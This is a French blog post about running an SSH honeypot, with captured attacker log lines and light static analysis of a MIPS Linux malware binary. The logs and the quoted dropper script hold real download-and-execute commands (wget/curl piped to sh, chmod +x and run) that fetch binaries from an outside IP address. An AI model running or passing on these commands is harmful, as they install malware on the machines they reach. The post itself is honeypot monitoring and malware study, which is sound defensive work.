vendredi 11 mars 2016

Fun avec un honeypot

J'ai récemment mis un Honeypot en route histoire de récupérer du contenu, et surtout faire quelques statistiques. Alors évidemment, je sais parfaitement que c'est pas comme ça que je vais mettre la main sur du 0day bien croustillant, mais ça a le mérite de me divertir entre deux épisodes d'X-Files.

Update:
J'ai initialement lancé ce honeypot dans un machine virtuelle, mais vu que j'avais également un Raspberry Pi (1ère version, modèle B avec 512mo de ram), j'ai pensé l'utiliser pour en faire un honeypot. Avec "cowrie" c'est juste inutilisable. Le problème est connu, et semble insoluble sur un raspberry 1 pour des raisons de performance. Je me suis rabattu sur Kippo, mais pas mieux (malgré l'overclocking au max).

Ou alors je trouve ça déprimant, parce que je tombe sur des incapables qui me génèrent en boucle la même entrée dans mes logs:

2016-03-09 20:15:26+0100 [SSHChannel session (3) on SSHService ssh-connection on HoneyPotTransport,385,83.197.xx.xx] CMD: wget -qO - http://104.199.163.91/x/2sh | sh > /dev/null 2>&1 &
2016-03-09 20:15:26+0100 [SSHChannel session (3) on SSHService ssh-connection on HoneyPotTransport,385,83.197.xx.xx] Command found: wget -qO - http : //104.199.163.91/x/2sh | sh > /dev/null 2 >& 1 &

Ou des variantes, sur le nom du script téléchargé. Si on regarde le contenu de ce genre de scripts :

curl -O http://104.199.163.91/x/vyattad && chmod +x vyattad && ./vyattad
curl -O http://104.199.163.91/x/kblockd && chmod +x kblockd && ./kblockd
curl -O http://104.199.163.91/x/pty && chmod +x pty && ./pty

Et si on s'intéresse à ces binaires :





En gros, du malware pour Linux bien connu. Sauf le dernier fichier (vyattad), connu d'Avast uniquement jusqu'à hier soir. Deux antivirus se sont rajoutés entre temps. Ce fichier semble être un exécutable pour Linux sur architectures MIPS :

$ file vyattad
vyattad: ELF 32-bit MSB executable, MIPS, MIPS-II version 1 (SYSV), statically linked, stripped

Ce qui semble cohérent avec la littérature relative à ce malware. Un strings sur le fichier ne me renvoie rien d'intéressant (ce qui est bizarre, un commentaire sur VirusTotal faisant état d'un fichier packé à l'aide d'UPX). Je n'ai pas d'utilitaire UPX pour mips pour le moment, donc je ne peux pas vérifer.
Un objdump pour MIPS ne me renvoie rien de bien fascinant non plus :

$ ./mipsel-buildroot-linux-uclibc-objdump -D vyattad
vyattad: format de fichier elf32-tradbigmips

Et readelf pour MIPS non plus (avec un petit message fun sur la fin) :

$ ./mipsel-buildroot-linux-uclibc-readelf -a vyattad
En-tête ELF:
Magique: 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00
Classe: ELF32
Données: complément à 2, système à octets de poids fort d'abord (big endian)
Version: 1 (current) OS/ABI: UNIX - System V Version ABI: 0
Version: 0x1
Type: EXEC (fichier exécutable) Machine: MIPS R3000 Adresse du point d'entrée: 0x1a3b80
Fanions: 0x10001005, noreorder, cpic, o32, mips2
Début des en-têtes de programme: 52 (octets dans le fichier) Début des en-têtes de section: 0 (octets dans le fichier) Taille de cet en-tête: 52 (bytes)
Table d'indexes des chaînes d'en-tête de section: 0
Taille de l'en-tête du programme: 32 (bytes) Nombre d'en-tête du programme: 2 Taille des en-têtes de section: 40 (bytes) Nombre d'en-têtes de section: 0 Il n'y a pas de section dans ce fichier.
LOAD 0x001c70 0x00611c70 0x00611c70 0x00000 0x00000 RW 0x10000
Il n'y a pas de section à grouper dans ce fichier. En-têtes de programme: Type Décalage Adr. vir. Adr.phys. T.Fich. T.Mém. Fan Alignement LOAD 0x000000 0x00100000 0x00100000 0xa4e40 0xa4e40 R E 0x10000
Aucune information de version repérée dans ce fichier.
Il n'y a pas de section dynamique dans ce fichier. Il n'y a pas de réadressage dans ce fichier. The decoding of unwind sections for machine type MIPS R3000 is not currently supported.

Je n'ai plus qu'à exécuter ce truc pour en faire une analyse dynamique, mais pas ce soir.

Maintenant, je me suis aussi interessé à l'IP qui s'est connectée à mon honeypot, ne serait-ce que pour savoir si c'est un haxor dans son coin qui vient de lancer un script, ou un bot qui ne fait que partager un script qui l'a infecté auparavant. Je ne dirai qu'une chose : la domotique qui a le cul sur internet, c'est très moche (l'internet des objets, vous savez ?)


Allez, la prochaine fois je tomberai peut-être sur quelque chose de plus intéressant.